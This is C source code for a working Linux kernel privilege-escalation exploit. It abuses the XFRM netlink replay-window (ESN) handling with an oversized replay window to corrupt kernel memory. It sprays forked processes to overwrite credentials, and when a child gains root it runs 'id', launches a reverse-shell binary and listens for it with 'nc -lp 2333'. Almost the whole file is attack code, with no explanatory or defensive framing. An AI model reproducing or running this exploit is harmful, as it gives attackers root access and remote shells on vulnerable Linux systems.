#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/xfrm.h>


#define MAX_PAYLOAD 4096
struct ip_auth_hdr {
	__u8	nexthdr;
	__u8	hdrlen;
	__be16	reserved;	/* big endian */
	__be32	spi;		/* big endian */
	__be32	seq_no;		/* big endian */
	__u8	auth_data[8];
};


void fork_spary_n(int n,unsigned int time){
	int i;
	for(i = 0;i < n;i++){
		int pid ;
		pid = fork();
		if(pid ==0){
			sleep(time);
			if(getuid() == 0){
				fprintf(stderr, "[+] now get r00t\n" );
				system("id");
				system("/home/p4nda/Desktop/reverse_shell");
			}
			else{
				exit(0);
			}
		}
	}

}

int init_xfrm_socket(){
	struct sockaddr_nl addr; 
	int result = -1,xfrm_socket;
	xfrm_socket = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (xfrm_socket<=0){
		perror("[-] bad NETLINK_XFRM socket ");
		return result;
	}
    addr.nl_family = PF_NETLINK;  
    addr.nl_pad    = 0;  
    addr.nl_pid    = getpid();  
    addr.nl_groups = 0;
    result = bind(xfrm_socket, (struct sockaddr *)&addr, sizeof(addr));
   	if (result<0){
		perror("[-] bad bind ");
		close(xfrm_socket);
		return result;
	} 
	return xfrm_socket;
}

int init_recvfd(){
	int recvfd=-1;
	recvfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
	if (recvfd<=0){
		perror("[-] bad IPPROTO_AH socket ");
	}
	return recvfd;
}

int init_sendfd(){
	int sendfd=-1,err;	
	struct sockaddr_in addr;
	sendfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
	if (sendfd<=0){
		perror("[-] bad IPPROTO_AH socket ");
		return -1;
	}
	memset(&addr,0,sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(0x4869);
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	err = bind(sendfd, (struct sockaddr*)&addr,sizeof(addr));
	if (err<0){
		perror("[-] bad bind");
		return -1;		
	}
	return sendfd;
}

void dump_data(char *buf,size_t len){
	puts("=========================");
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}




int xfrm_add_sa(int sock,int spi,int bmp_len){
	struct sockaddr_nl nladdr;
	struct msghdr msg;
	struct nlmsghdr *nlhdr;
	struct iovec iov;
	int len = 4096,err;
	char *data;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	nladdr.nl_pid = 0;
	nladdr.nl_groups = 0;
	nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
	memset(nlhdr,0,NLMSG_SPACE(len));

	nlhdr->nlmsg_len = NLMSG_LENGTH(len);
	nlhdr->nlmsg_flags = NLM_F_REQUEST;
	nlhdr->nlmsg_pid = getpid();
	nlhdr->nlmsg_type = XFRM_MSG_NEWSA;

	data = NLMSG_DATA(nlhdr); 
	struct xfrm_usersa_info xui;
	memset(&xui,0,sizeof(xui));
	xui.family = AF_INET;
	xui.id.proto = IPPROTO_AH;
	xui.id.spi = spi;
	xui.id.daddr.a4 = inet_addr("127.0.0.1");
	xui.lft.hard_byte_limit = 0x10000000;
	xui.lft.hard_packet_limit = 0x10000000;
	xui.lft.soft_byte_limit = 0x1000;
	xui.lft.soft_packet_limit = 0x1000;
	xui.mode = XFRM_MODE_TRANSPORT;
	xui.flags = XFRM_STATE_ESN;
	memcpy(data,&xui,sizeof(xui));

	data += sizeof(xui);
	struct nlattr nla;
	struct xfrm_algo xa;
	memset(&nla, 0, sizeof(nla));
	memset(&xa, 0, sizeof(xa));
	nla.nla_len = sizeof(xa) + sizeof(nla);
	nla.nla_type = XFRMA_ALG_AUTH;
	strcpy(xa.alg_name, "digest_null");
	xa.alg_key_len = 0;
	memcpy(data, &nla, sizeof(nla));
	data += sizeof(nla);
	memcpy(data, &xa, sizeof(xa));
	data += sizeof(xa);

	struct xfrm_replay_state_esn rs;
	memset(&nla, 0, sizeof(nla));
	nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
	nla.nla_type = XFRMA_REPLAY_ESN_VAL;	
	rs.replay_window = bmp_len;
	rs.bmp_len = bmp_len;
	memcpy(data,&nla,sizeof(nla));
	data += sizeof(nla);
	memcpy(data, &rs, sizeof(rs));
	data += sizeof(rs);	
	memset(data,'1',bmp_len*4*8);

	iov.iov_base = (void *)nlhdr;
	iov.iov_len = nlhdr->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(nladdr);
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
 	//dump_data(&msg,iov.iov_len);
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;
}

int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
	struct sockaddr_nl nladdr;
	struct msghdr msg;
	struct nlmsghdr *nlhdr;
	struct iovec iov;
	int len = 4096,err;
	char *data;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	nladdr.nl_pid = 0;
	nladdr.nl_groups = 0;
	nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
	memset(nlhdr,0,NLMSG_SPACE(len));

	nlhdr->nlmsg_len = NLMSG_LENGTH(len);
	nlhdr->nlmsg_flags = NLM_F_REQUEST|NLM_F_REPLACE;
	nlhdr->nlmsg_pid = getpid();
	nlhdr->nlmsg_type = XFRM_MSG_NEWAE;

	data = NLMSG_DATA(nlhdr); 
	struct xfrm_aevent_id xai;
	memset(&xai,0,sizeof(xai));
	xai.sa_id.proto = IPPROTO_AH;
	xai.sa_id.family = AF_INET;
	xai.sa_id.spi = spi;
	xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");

	memcpy(data,&xai,sizeof(xai));
	data += sizeof(xai);	

	struct nlattr nla;
	memset(&nla, 0, sizeof(nla));
	struct xfrm_replay_state_esn rs;
	memset(&nla, 0, sizeof(nla));
	nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
	nla.nla_type = XFRMA_REPLAY_ESN_VAL;	
	rs.replay_window = evil_windows;
	rs.bmp_len = bmp_len;
	rs.seq_hi = seq_hi;
	rs.seq = seq;	
	memcpy(data,&nla,sizeof(nla));
	data += sizeof(nla);
	memcpy(data, &rs, sizeof(rs));
	data += sizeof(rs);	
	memset(data,'1',bmp_len*4*8);



	iov.iov_base = (void *)nlhdr;
	iov.iov_len = nlhdr->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(nladdr);
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;	
}

int sendah(int sock,int spi,int seq ){
	struct sockaddr_in sai;
	struct iovec iov;
	struct msghdr msg;
	char *data;
	struct ip_auth_hdr ah;
	int err;
	memset(&msg, 0, sizeof(msg));
	memset(&sai, 0, sizeof(sai));
	sai.sin_addr.s_addr = inet_addr("127.0.0.1");
	sai.sin_port = htons(0x4869);
	sai.sin_family = AF_INET;
	data = malloc(4096);
	memset(data,'1',4096);
	ah.spi = spi;
	ah.nexthdr = 1;
	ah.seq_no = seq;
	ah.hdrlen = (0x10 >> 2) - 2;

	memcpy(data,&ah,sizeof(ah));

	iov.iov_base = (void *)data;
	iov.iov_len = 4096;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(sai);
	msg.msg_namelen = sizeof(sai);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
 	//dump_data(&msg,iov.iov_len);
	//dump_data(nlhdr,iov.iov_len);
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;	
}


int main(int argc, char const *argv[])
{
	int spary_n=0xc00,err,xfrm_socket,recvfd,sendfd;
	unsigned int time = 1;

	xfrm_socket=init_xfrm_socket();
	if (xfrm_socket<0){
		fprintf(stderr, "[-] bad init xfrm socket\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init xfrm_socket %d \n",xfrm_socket);

	recvfd = init_recvfd();
	if (recvfd<0){
		fprintf(stderr, "[-] bad init_recvfd\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init recvfd : %d \n",recvfd);
	sendfd = init_sendfd();
	if (recvfd<0){
		fprintf(stderr, "[-] bad sendfd\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init sendfd : %d \n",sendfd);
	//return 0;
	fprintf(stderr, "[+] start spary %d creds \n",spary_n );
	fork_spary_n(spary_n,time);
	sleep(5);

	err=xfrm_add_sa(xfrm_socket,4869,0x24);
	if (err<0){
		fprintf(stderr, "[-] bad xfrm_add_sa\n");
		exit(-1);
	}
	fprintf(stderr, "[+] xfrm_add_sa : %d \n",err);
	err=xfrm_new_ae(xfrm_socket,4869,0x24,0xc01,0xb40,1);	

	if (err<0){
		fprintf(stderr, "[-] bad xfrm_new_ae\n");
		exit(-1);
	}
	fprintf(stderr, "[+] xfrm_new_ae : %d \n",err);	


	fork_spary_n(spary_n,10);
	sendah(sendfd,4869, htonl(0x1743));
	system("nc -lp 2333");
}
